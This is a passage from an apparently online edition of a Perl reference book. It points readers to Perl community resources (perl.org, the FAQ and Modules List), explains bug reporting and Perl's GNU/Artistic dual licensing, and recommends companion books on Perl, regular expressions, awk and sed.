Also check out http://www.perl.org/, which is the homepage of the Perl Institute, a non-profit organization dedicated to saving the world through serving the Perl community.

Frequently Asked Questions List

The Perl Frequently Asked Questions (FAQ) is a collection of questions and answers that often show up on comp.lang.perl.misc. In many respects it is a companion to the available books, explaining concepts that people may not have understood and maintaining up-to-date information about such things as the latest release level and the best place to get the Perl source.

There is also a metaFAQ, which answers supercommon questions. It has pointers to the current Perl distribution, various non-UNIX ports, and the full FAQ. There may be other FAQs you will find useful--for example, FAQs about non-UNIX ports, Web programming, or perltk.

Another FAQish sort of posting is the Perl Modules List, which keeps track of all the various existing and proposed modules that various folks have worked on, or will work on someday real soon now. Included are the email addresses of people to bug, and much free advice on module design. A must-read for people who don't want to reinvent either the buggy whip or the wheel.

The FAQs are periodically posted to comp.lang.perl.announce, and can also be found on the web at http://www.perl.com/perl /faq.

Bug Reports

In the unlikely event that you should encounter a bug that's in Perl proper and not just in your own program, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl.

The Perl Distribution

Perl is distributed under either of two licenses (your choice). The first is the standard GNU Copyleft, which means briefly that if you can execute Perl on your system, you should have access to the full source of Perl for no additional charge. Alternately, Perl may also be distributed under the Artistic License, which some people find less threatening than the Copyleft (especially lawyers).

Within the Perl distribution, you will find some example programs in the eg/ directory. You may also find other tidbits. Poke around in there on some rainy afternoon. Study the Perl source (if you're a C hacker with a masochistic streak). Look at the test suite. See how Configure determines whether you have the mkdir (2) system call. Figure out how Perl does dynamic loading of C modules. Or whatever else suits your fancy.

Other Books

Learning Perl by Randal Schwartz (published by O'Reilly & Associates) is a companion to Programming Perl. It is more of a tutorial, whereas this book is more of a reference. If the tutorial section of Programming Perl is too short or assumes too much about your background, try Learning Perl for a kinder, gentler introduction to the language. If you want to learn more about Perl's regular expressions, we suggest Mastering Regular Expressions, by Jeffrey E.F. Friedl (also published by O'Reilly & Associates).

The AWK Programming Language, by Aho, Kernighan, and Weinberger (published by Addison-Wesley), and sed & awk, by Dale Dougherty (published by O'Reilly & Associates), provide an essential background in such things as associative arrays, regular expressions, and the general worldview that gave rise to Perl. They also contain many examples that can be translated into Perl by the awk-to-perl translator a2p or by the sed-to-perl translator s2p. These translators won't produce idiomatic Perl, of course, but if you can't figure out how to imitate one of those examples in Perl, the translator output will give you a good place to start.

We also recommend Johan Vromans's convenient and thorough quick reference booklet, called Perl 5 Desktop Reference, published coincidentally by O'Reilly & Associates.

Previous | Home | Next
The Rest of This Book | Book Index | How to Get Perl
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell